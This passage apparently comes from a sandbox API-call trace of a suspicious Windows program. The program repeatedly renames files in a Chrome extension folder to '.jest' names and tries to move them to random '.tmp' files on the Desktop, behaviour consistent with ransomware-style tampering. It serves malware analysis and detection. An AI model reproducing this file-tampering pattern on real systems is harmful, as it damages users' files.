lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.334] GetTickCount () returned 0x11575bd [0150.334] IsWindowVisible (hWnd=0x30268) returned 0 [0150.334] Sleep (dwMilliseconds=0x0) [0150.335] GetFullPathNameA (in: lpFileName="UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp", lpFilePart=0x18e708*="UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp") returned 0x8f [0150.335] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html", lpFilePart=0x18e708*="offers.html") returned 0x9d [0150.336] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\usyvjizl98em05u-qybezbiv3vxorq67svpnwp7hepjvqgsk8tcgljwjuqf0bq5rcxea5k59xtr9ba3myvqqkopdmrdhzqtn71- y.tmp")) returned 0 [0150.336] GetLastError () returned 0x2 [0150.336] GetLastError () returned 0x2 [0150.336] SetLastError (dwErrCode=0x2) [0150.336] GetLastError () returned 0x2 [0150.336] SetLastError (dwErrCode=0x2) [0150.336] GetLastError () returned 0x2 [0150.336] SetLastError (dwErrCode=0x2) [0150.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.336] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.337] GetFullPathNameA (in: lpFileName="UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp", lpFilePart=0x18e6e4*="UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp") returned 0x8f [0150.337] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UsYvjiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76597355, cFileName="jiZl98em05U-qybEZBiv3VXorQ67SVPNwP7HEpjvqgsK8TcglJWjUQF0bQ5rCXeA5K59XTR9ba3myVQqKoPdmrDhzQtn71- Y.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.337] GetLastError () returned 0x2 [0150.337] GetLastError () returned 0x2 [0150.337] SetLastError (dwErrCode=0x2) [0150.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.337] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.338] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.338] CoFreeUnusedLibraries () [0150.338] GetTickCount () returned 0x11575bd [0150.338] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.338] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.338] GetTickCount () returned 0x11575bd [0150.338] IsWindowVisible (hWnd=0x30268) returned 0 [0150.338] Sleep (dwMilliseconds=0x0) [0150.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.339] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.340] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.jest")) returned 1 [0150.341] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", lpFilePart=0x18e6d8*="setup.html") returned 0x9c [0150.341] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x4000004, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439860, ftLastAccessTime.dwLowDateTime=0x144def0, ftLastAccessTime.dwHighDateTime=0x1431788, ftLastWriteTime.dwLowDateTime=0x20, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.341] GetLastError () returned 0x2 [0150.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.341] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.342] VarBstrFromR4 (in: fltIn=0x47945003, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.02") returned 0x0 [0150.342] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.342] CoFreeUnusedLibraries () [0150.342] GetTickCount () returned 0x11575bd [0150.342] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.342] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.342] GetTickCount () returned 0x11575bd [0150.343] IsWindowVisible (hWnd=0x30268) returned 0 [0150.343] Sleep (dwMilliseconds=0x0) [0150.343] GetFullPathNameA (in: lpFileName="n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp", lpFilePart=0x18e708*="n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp") returned 0x8e [0150.343] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", lpFilePart=0x18e708*="setup.html") returned 0x9c [0150.344] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n3s9y9vdpbwxwtdvhcpn6mlkukulff4wbhtk7shxalev79jce1kbb7tud55pp9hb-ctllw9rqtjmb73izglqhhyk57r1rpuroi8 .tmp")) returned 0 [0150.344] GetLastError () returned 0x2 [0150.344] GetLastError () returned 0x2 [0150.344] SetLastError (dwErrCode=0x2) [0150.344] GetLastError () returned 0x2 [0150.344] SetLastError (dwErrCode=0x2) [0150.344] GetLastError () returned 0x2 [0150.344] SetLastError (dwErrCode=0x2) [0150.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.344] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.345] GetFullPathNameA (in: lpFileName="n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp", lpFilePart=0x18e6e4*="n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp") returned 0x8e [0150.345] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3S9Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3953336e, cFileName="Y9VdpbWXwTDvhcpN6MLkukulfF4WbHTk7shXaleV79jCE1KBB7TUD55pp9Hb-CtllW9RqTjMB73izGLqHhyK57R1RPuroI8 .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.345] GetLastError () returned 0x2 [0150.345] GetLastError () returned 0x2 [0150.345] SetLastError (dwErrCode=0x2) [0150.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.345] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.346] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.346] CoFreeUnusedLibraries () [0150.346] GetTickCount () returned 0x11575cc [0150.346] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.346] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.346] GetTickCount () returned 0x11575cc [0150.347] IsWindowVisible (hWnd=0x30268) returned 0 [0150.347] Sleep (dwMilliseconds=0x0) [0150.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.349] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.349] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.jest")) returned 1 [0150.350] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", lpFilePart=0x18e6d8*="view.html") returned 0xa4 [0150.350] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xa00000a, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c988, ftLastAccessTime.dwLowDateTime=0x14cf318, ftLastAccessTime.dwHighDateTime=0x14b2b68, ftLastWriteTime.dwLowDateTime=0x50, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.350] GetLastError () returned 0x2 [0150.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.351] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.351] VarBstrFromR4 (in: fltIn=0x47945005, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.04") returned 0x0 [0150.351] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.351] CoFreeUnusedLibraries () [0150.351] GetTickCount () returned 0x11575cc [0150.351] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.351] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.351] GetTickCount () returned 0x11575cc [0150.352] IsWindowVisible (hWnd=0x30268) returned 0 [0150.352] Sleep (dwMilliseconds=0x0) [0150.352] GetFullPathNameA (in: lpFileName="cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp", lpFilePart=0x18e708*="cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp") returned 0x8d [0150.352] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", lpFilePart=0x18e708*="view.html") returned 0xa4 [0150.352] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cm5skib_75recygmrr6slqe uutgky6vyhhf8mqcewkbsrylr2mqrphov4dxclj5rq3ls-bjrrfj_u cqqevnlccbghyj8s4l-_.tmp")) returned 0 [0150.353] GetLastError () returned 0x2 [0150.353] GetLastError () returned 0x2 [0150.353] SetLastError (dwErrCode=0x2) [0150.353] GetLastError () returned 0x2 [0150.353] SetLastError (dwErrCode=0x2) [0150.353] GetLastError () returned 0x2 [0150.353] SetLastError (dwErrCode=0x2) [0150.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.353] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.353] GetFullPathNameA (in: lpFileName="cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp", lpFilePart=0x18e6e4*="cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp") returned 0x8d [0150.353] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cm5SKiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x53356d63, cFileName="KiB_75RecyGmRr6slQE UUtgkY6vyhhF8MQCEWKbSrylR2mQRpHoV4dxclJ5RQ3Ls-bjRrfj_u cQqEVNlccbGhYj8s4l-_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.354] GetLastError () returned 0x2 [0150.354] GetLastError () returned 0x2 [0150.354] SetLastError (dwErrCode=0x2) [0150.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.354] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.354] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.355] CoFreeUnusedLibraries () [0150.355] GetTickCount () returned 0x11575cc [0150.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.355] GetTickCount () returned 0x11575cc [0150.355] IsWindowVisible (hWnd=0x30268) returned 0 [0150.355] Sleep (dwMilliseconds=0x0) [0150.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: 